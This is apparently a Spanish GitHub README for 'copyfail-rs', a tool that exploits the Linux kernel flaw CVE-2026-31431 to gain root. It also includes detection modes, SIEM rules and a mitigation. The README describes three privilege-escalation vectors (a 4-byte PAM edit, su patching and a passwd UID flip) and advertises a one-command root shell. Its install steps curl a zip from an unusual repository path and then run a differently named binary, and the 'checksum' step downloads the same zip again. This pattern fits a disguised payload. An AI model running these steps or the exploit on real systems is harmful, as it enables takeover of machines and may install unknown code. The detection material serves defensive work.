
Explotar y detectar vulnerabilidades CVE-2026-31431 utilizando un binario estático que monitorea la integridad del sistema y omite la autenticación PAM.
PoC multi-vector + detección emparejada para CVE-2026-31431 (CopyFail). Incluye un novedoso vector de omisión de autenticación PAM que ningún otro PoC público incluye. El modo de detección captura lo que AIDE / Wazuh / OSSEC / Tripwire estructuralmente no pueden.
Binario estático único. ~108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Un solo comando. Shell de root. PAM killshot bajo el capó (escritura única de 4 bytes en /etc/pam.d/common-auth), drop PTY a root mediante sudo con contraseña descartada. La línea [sudo] password for noot: parpadea brevemente, sudo siempre muestra ese prompt; el binario le proporciona cualquier cadena y el fallo de pam_unix se propaga a través del pam_deny.so comentado hasta pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
Eso es el proyecto. Disco limpio, caché mutada. Cada FIM público está ciego. Esta herramienta no.
Binarios estáticos precompilados en el lanzamiento v0.1.0. Elige tu arquitectura, descarga, ejecuta.
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Otras arquitecturas:
| Arquitectura | Archivo |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Verificar integridad:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
Binarios estáticos musl, sin dependencias de ejecución, funcionan en cualquier Linux.
Mutación de caché de páginas. Sin escritura VFS. Sin página sucia. Sin evento inotify. El reescaneo periódico compite con el desalojo.
AIDE/Wazuh/OSSEC/Tripwire/Samhain leen mediante E/S con búfer → caché de páginas → hashean bytes mutados como verdad. O tras el desalojo, hashean disco limpio → "nunca ocurrió ningún cambio."
La detección necesita O_DIRECT (saltar caché) + lectura con búfer (acertar en caché) + diferencia de hash. Desajuste = firma CopyFail. Eso es --scan.
Selección automática: --vector auto (predeterminado). Clasifica pam > su > passwd por sigilo. Retrocede en caso de fallo.
--json en todas partes para ingestión en SIEM.
detection/:
sigma/copyfail-af-alg.yml, regla Sigma, colócala en tu SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, comando único de bpftraceapparmor/copyfail-block.profile, regla de denegación de AppArmor 3.0+mitigation/disable-algif.sh, lista negra de modprobe + advertencia =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
O kernel mainline a664bf3d603d (abril de 2026). A día de hoy: solo Debian Sid/Forky lo han incluido. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = todos vulnerables.
Advertencia: CONFIG_CRYPTO_USER_API_AEAD=y (integrado) elude silenciosamente modprobe. --check lo advierte.
Después del exploit + mitigación: la mutación en caché persiste hasta el reinicio. La mitigación bloquea NUEVOS exploits, no deshace los pasados.
cargo build --release --target x86_64-unknown-linux-musl
| Objetivo | Tamaño |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. Sin asignador. Sin dependencias de ejecución. Binario estático único.
Artefactos precompilados y sumas SHA256 adjuntos a los lanzamientos de GitHub.
Consulta docs/usage.md para ejemplos concretos de una pantalla por modo (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Para una versión narrativa más extensa de este README (más contexto, exposición más profunda), consulta BLOG.md.
Consulta docs/threat-model.md.
Solo hardware propio. Sin puerta CLI (teatro de seguridad). README + LICENSE = el marco.
El modo de detección es de solo lectura. Seguro en producción.
El modo exploit muta la caché de páginas del kernel. Solo RAM, pero trátalo como destructivo. Bloquea la autenticación para cualquier llamante posterior.
CVE-2026-31431 divulgado por Theori / Xint el 2026-04-29 (informe, blog de Xint). PoCs públicos anteriores:
Este proyecto (copyfail-rs): añade el vector de omisión de autenticación PAM, detección de modo dual, artefactos de IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, Aug 2017)| Vector | Objetivo | Dónde termina |
|---|
pam (NUEVO) | /etc/pam.d/common-auth (Debian/Ubuntu) o system-auth (Fedora/RHEL/Arch) | 4 bytes. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo con cualquier contraseña = root. |
su | /usr/bin/su | Mutar el texto del binario setuid. execve → root. |
passwd | /etc/passwd | Inversión de UID → el usuario se convierte en root en el siguiente inicio de sesión. Rompe SSH para ese usuario. |
| Modo | Qué |
|---|
--check | Kernel + módulo + CONFIG_CRYPTO_USER_API_AEAD + estado de mitigación. Verdicto: vulnerable / mitigado / seguro. |
--scan | Diferencia de lectura O_DIRECT vs con búfer en archivos críticos. Ramificado por statfs(): ext4/xfs/btrfs usan O_DIRECT, overlayfs retrocede, tmpfs se omite. |
--baseline / --diff | Instantánea del estado limpio conocido. Diferenciar después. Deltas solo de caché = la huella de CopyFail. |
--watch | Demonio. Escaneo periódico. SIGTERM limpio. |
--hunt | Barrido de flota SSH. Agregados JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Vectores | su | su + passwd | su | su + passwd + PAM (novedoso) |
| Detección | ninguna | ninguna | ninguna | completo --mode detect |
| Artefactos IR | ninguno | ninguno | ninguno | Sigma + auditd + eBPF + AppArmor |
| UX del operador | 3 comandos | 4 comandos | 5 comandos | 1 comando |
| Binario | necesita Python | ~10 KB | ~5 MB | ~108 KB estático |